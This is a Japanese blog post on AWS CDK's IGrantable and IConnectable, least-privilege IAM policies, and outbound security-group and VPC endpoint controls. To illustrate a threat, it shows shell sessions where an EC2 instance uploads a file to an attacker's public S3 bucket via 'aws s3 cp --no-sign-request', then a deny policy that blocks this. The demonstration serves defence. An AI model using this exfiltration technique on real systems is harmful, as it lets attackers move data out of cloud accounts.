🛡️

AWS CDKでのIGrantableとIConnectableで気を付けていること

2024/06/27に公開

はじめに

AWS CDKにはIGrantableやIConnectableがあり、それによってIAMポリシーやセキュリティグループを簡単に変更することができます。

IGrantableやIConnectableを使う理由は以下を見てください。この記事も触発されて書いてます。
https://zenn.dev/rrrraaaaa6/articles/8f188c8e07378f

EC2とS3のサンプル

VPCエンドポイント経由でEC2インスタンスがS3からオブジェクトを取得できるようにした例です。
できるだけCDKのデフォルト値を使おうとするとこんな感じになると思います。

export class CdktempStack extends cdk.Stack {
  constructor(scope: Construct, id: string, props?: cdk.StackProps) {
    super(scope, id, props);

    const bucket = new s3.Bucket(this, "Bucket");

    const vpc = new ec2.Vpc(this, "Vpc", {
      natGateways: 0
    });

    const s3Endpoint = vpc.addGatewayEndpoint("S3Endpoint",{
      service: ec2.GatewayVpcEndpointAwsService.S3
    })

    const instance = new ec2.Instance(this, "Instance", {
      vpc: vpc,
      instanceType: ec2.InstanceType.of(
        ec2.InstanceClass.T3,
        ec2.InstanceSize.MICRO
      ),
      machineImage: ec2.MachineImage.latestAmazonLinux2023(),
    });
    
    bucket.grantRead(instance)
  }
}

Subnetなど省略しているAWSリソースはありますが、おおまかには以下のようなものができるはずです。
サンプル

IGrantable

EC2のポリシー

bucket.grantRead(instance)でEC2インスタンスにアタッチされているIAMロールに以下のようなIAMポリシーがインラインポリシーとして付与されます。
CDKで作成することで、さぼりがちなActionとResouceを十分に絞れています。
Actionで何が付与されるのかはドキュメントに記載されています。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Action": [
                "s3:GetBucket*",
                "s3:GetObject*",
                "s3:List*"
            ],
            "Resource": [
                "arn:aws:s3:::<S3バケット名>",
                "arn:aws:s3:::<S3バケット名>/*"
            ],
            "Effect": "Allow"
        }
    ]
}

最小権限?

そもそも最小権限とはなんでしょうか?
CDKのコードで生成される権限はいわゆる最小権限と呼ばれるものでしょうか?

ユースケースによって使わない権限が含まれていることはあるかもしれませんが、EC2に付与されたIAMポリシーは十分に小さい権限であると思います。
しかし、このEC2が特定のS3にgrantReadで許された操作しかできないかと言われるとそうではありません。反対にこのS3がEC2だけに操作されるとも限りません。

基本的なことですが、AWSにおけるポリシーの評価順はざっくりと以下のようになります。前述した、対象のプリンシパルやリソースの外側の脅威に対応するには明示的な拒否が必要になります。

  1. 明示的な拒否
  2. リソースベースポリシーの許可
  3. アイデンティティベースポリシーの許可
  4. 暗黙の拒否

IAM
引用元

最小権限に明示的な拒否が含まれるのかどうかが判断がわかれそうな部分ですが、もし明確な基準があるのであれば教えていただければ幸いです。
改めて考えてみると、プリンシパルだけに焦点をあてた最小権限とリソースを含めたシステム全体の最小権限が異なる、ということだと思います。このあたりはリソースベースとアイデンティティベースの2か所から権限を付与されうるという面も理解を複雑にしていそうです。

CDKの文脈では、grantメソッドも最小権限を実現するための手段として述べられることもあります。

以下、参考リンク
https://aws.amazon.com/jp/blogs/news/systematic-approach-for-least-privileges-jp/
https://docs.aws.amazon.com/ja_jp/IAM/latest/UserGuide/best-practices.html#grant-least-privilege
https://www.jpcert.or.jp/tips/2007/wr070901.html

脅威

例えば、以下のような脅威が考えられます。どちらもAWSアカウントがなんらかの方法で侵害された後の場合ですが、厳格な最小権限であれば更なる被害を防げるかもしれません。

  • EC2が他AWSアカウントのS3バケットに不正にオブジェクトを送る
  • 他リソースからS3に大量のオブジェクトを送信されてサービスが停止する
    リスク

正直、EC2が侵害されていたらだいぶ辛いですが、それでも他所への影響を抑えるのが最小権限の一つの役割だと思います。

クロスアカウントでのリスク

クロスアカウントでの評価は以下です。要はプリンシパルとリソースの両方で評価され、許可される必要があります。
そのため適切にIAMポリシーを扱っていれば、問題にならない可能性もあります。(単純にEC2がインターネットに疎通ができるような状況だともちろんダメです)
https://docs.aws.amazon.com/ja_jp/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html
クロスアカウント

例えば、攻撃者が<漏洩先S3バケット名>をパブリックアクセスで公開した場合、--no-sign-requestのオプションを付けることでIAM認証をせずに通信が可能です。
この手法に限らず、考慮漏れや設定ミスにより攻撃される可能性があることを念頭に置いて、最善を尽くすことが重要です。

[ec2-user@ip-10-0-110-125 ~]$ ls
aws.svg
[ec2-user@ip-10-0-110-125 ~]$ aws s3 cp aws.svg s3://<漏洩先S3バケット名>
upload failed: ./aws.svg to s3://tmp-cdktest/aws.svg An error occurred (AccessDenied) when calling the PutObject operation: Access Denied
[ec2-user@ip-10-0-110-125 ~]$ aws s3 cp --no-sign-request aws.svg s3://<漏洩先S3バケット名>
upload: ./aws.svg to s3://<漏洩先S3バケット名>/aws.svg

権限をより厳格にするべきか?

このEC2およびS3をよりセキュアにするにはいくつかの方法があります。
例えば、EC2に明示的な拒否のポリシーを追加(本記事中でいうところの厳格な最小権限)したり、S3側にリソースポリシーを絞って設定したり、SCPやPermissions Boundaryなどもあります。

目指すゴールにより判断は変わるとは思いますが、個人的には厳格な最小特権を目指すことは努力目標と考えています。
ここまでいろいろ書いておいて結論それかよ、と思う人もいる気がしますが、意識しているのとしていないのではいろいろ違うと思うので許してください。

CDKで厳格な最小特権を実現することは手動でやるよりかは簡単かもしれませんが、それでもCDKの良さが消えるぐらいにポリシーの記述が必要なはずです。(アップデートで改善される可能性はあります)

それよりはIAMアクセスアナライザーやSecurityHub、Configなどの仕組みを駆使したガードレールや検出する仕組みを整えたほうが(確実とまでは言えないまでも)労力に対して効果が大きいと思っています。
また、厳格な最小特権を目指すよりも、一つでも緩いポリシーを作らないようにすることのほうがより重要だと考えています。

IConnectable

EC2のSecurityGroup

サンプルのCDKではセキュリティグループに明示的な指摘をしていないため、CDKのデフォルト値に従ってCloudFormatinテンプレートが生成されることになります。
つまり、インバウンドルールはなく、アウトバウンドルールには全許可を持つSecurityGroupです。
マネジメントコンソール上でセキュリティグループを作る時をイメージしてもらえればわかりやすいと思います。

EC2はデフォルトで作成されるアウトバウンドルールだけで、インバウンドルールは空になっています。
EC2SG

S3のVPCエンドポイントのポリシーは以下のようになっています。すべてを許可するポリシーになっています。
S3Policy

アウトバウンドの制限

SecurityGroup間に限れば、オンプレなどと比べればアウトバウンドの制限は格段にしやすくなっていると思います。
一方で、対インターネットに関しては簡単にはいかず、何らかのセキュリティサービスを使って実現せざるを得ないのが現状です。

あくまでもアウトバウンドの通信にフォーカスしたものですが、ALB、EC2、RDSなんかを使ってSecurityGroupやVPCエンドポイントで自アカウント以外への通信を制御したい場合には以下のようなイメージなるかと思います。
特にSecurityGroupを使ったアウトバウンド制御はデフォルトの全許可を消せばよく、あとはステートフルのインバウンドだけで十分な場合が多いと思っています。
outbound

S3のVPCエンドポイントでの他アカウントの制御

VPCエンドポイントのポリシーがデフォルトだとEC2からS3へのオブジェクトのアップロードに成功します。

[ec2-user@ip-10-0-110-125 ~]$ ls
aws.svg
[ec2-user@ip-10-0-110-125 ~]$ aws s3 cp --no-sign-request aws.svg s3://<<>>
upload: ./aws.svg to s3://<漏洩先S3バケット名>/aws.svg

VPCエンドポイントに以下のようなポリシーを追加することで、外部への未認証のアップロードを防ぐことができる。
この辺りは以下の資料がだいぶ進んでいるので、是非見てほしい。
https://qiita.com/y_matsuo_/items/1efae9d6ae3803d6c44f

{
	"Version": "2012-10-17",
	"Id": "Id1",
	"Statement": [
		{
			"Sid": "Sid1",
			"Effect": "Allow",
			"Principal": "*",
			"Action": "s3:*",
			"Resource": "*"
		},
		{
			"Sid": "Sid2",
			"Effect": "Deny",
			"Principal": "*",
			"Action": "s3:*",
			"Resource": "*",
			"Condition": {
				"StringNotEquals": {
					"s3:ResourceAccount": "123456789012"
				}
			}
		}
	]
}

上記のポリシーを付与後、外部アカウントへのアップロードは失敗する。もちろん自アカウントへのダウンロードは成功する。

[ec2-user@ip-10-0-110-125 ~]$ aws s3 cp --no-sign-request aws.svg s3://<漏洩先S3バケット名>
upload failed: ./aws.svg to s3://<漏洩先S3バケット名>/aws.svg An error occurred (AccessDenied) when calling the PutObject operation: Access Denied

EC2とSecurityGroupのサンプル

EC2があるSecurityGroup AとEC2があるSecurityGroup BをIConnectableで操作する例を見てみます。
EC2からEC2へICMPを許可する場合のサンプルです。
EC2

export class CdktempStack extends cdk.Stack {
  constructor(scope: Construct, id: string, props?: cdk.StackProps) {
    super(scope, id, props);

    const vpc = new ec2.Vpc(this, "Vpc");
    const instanceA = new ec2.Instance(this, "InstanceA", {
      vpc: vpc,
      instanceType: ec2.InstanceType.of(ec2.InstanceClass.T3, ec2.InstanceSize.MICRO),
      machineImage: ec2.MachineImage.latestAmazonLinux2023(),
    });

    const instanceB = new ec2.Instance(this, "InstanceB", {
      vpc: vpc,
      instanceType: ec2.InstanceType.of(ec2.InstanceClass.T3, ec2.InstanceSize.MICRO),
      machineImage: ec2.MachineImage.latestAmazonLinux2023(),
    });

    instanceA.connections.allowTo(instanceB, ec2.Port.allIcmp())
  }
}

このときinstanceAおよびinstanceBのSecurityGroupは以下のようになります。

defaultEC2

instanceAはデフォルトのままです。
instanceA

instanceBにはインバウンドルールにinstanceAからのICMPが許可するルールが追加されています。
instanceB

SecurityGroupのアウトバウンドを制御する

SecurityGroupにオプションを付けることで、アウトバウンドの許可がないSecurityGroupを作成することができます。
allowAllOutboundをfalseにするだけです。

const securityGroupA = new ec2.SecurityGroup(this, 'SecurityGroupA', {
  vpc: vpc,
  allowAllOutbound: false
});

allowAllOutboundがfalseをデフォルト値としてSecurityGroupのサンプルは以下です。小ネタなので是非チラ見してください。
https://zenn.dev/lea/articles/9737ac0ceef650

この状態でIConnectableを使ってみます。

export class CdktempStack extends cdk.Stack {
  constructor(scope: Construct, id: string, props?: cdk.StackProps) {
    super(scope, id, props);

    const vpc = new ec2.Vpc(this, "Vpc");
    const securityGroupA = new ec2.SecurityGroup(this, 'SecurityGroupA', {
      vpc: vpc,
      allowAllOutbound: false
    });
    const instanceA = new ec2.Instance(this, "InstanceA", {
      vpc: vpc,
      instanceType: ec2.InstanceType.of(ec2.InstanceClass.T3, ec2.InstanceSize.MICRO),
      machineImage: ec2.MachineImage.latestAmazonLinux2023(),
      securityGroup: securityGroupA
    });

    const securityGroupB = new ec2.SecurityGroup(this, 'SecurityGroupB', {
      vpc: vpc,
      allowAllOutbound: false
    });
    const instanceB = new ec2.Instance(this, "InstanceB", {
      vpc: vpc,
      instanceType: ec2.InstanceType.of(ec2.InstanceClass.T3, ec2.InstanceSize.MICRO),
      machineImage: ec2.MachineImage.latestAmazonLinux2023(),
      securityGroup: securityGroupB
    });

    instanceA.connections.allowTo(instanceB, ec2.Port.allIcmp())
  }
}

このときに生成されるそれぞれのSecurityGroupは以下の通りです。

nooutbound

instanceAにはアウトバウンドにICMPが追加されています。
アウトバウンドルールにあるtcp/443のルールはEC2へのSSM用です。関係ないので無視してください。

instanceA

instanceBのインバウンドルールにはICMPが追加されています。

instanceB

allowAllOutboundを使っていないと気づきづらいですが、実はIConnectableにはアウトバウンドにも作用します。これで、アウトバウンドも特定の宛先にしか通信できないSecurityGroupの完成です。

おわりに

だいたいこういう感想を持ってます。

  • IGrantable
    • 初心者はとりあえず使って
    • 中級者はリスクを認識して
    • 上級者は理解した上なら好きにして
  • IConnectable
    • CDKならアウトバウンド制御は結構現実的じゃない?
    • allowAllOutboundをfalseにしよう!IConnectable大好き!

厳格な最小権限とか持ち出してすいません。。。
改めて自分の中でどうなったら最小権限の原則が守れているのか、といったことを見つめなおすきっかけになりました。

特にIGrantableが書き方を迷った末、ポエムになりました。

Discussion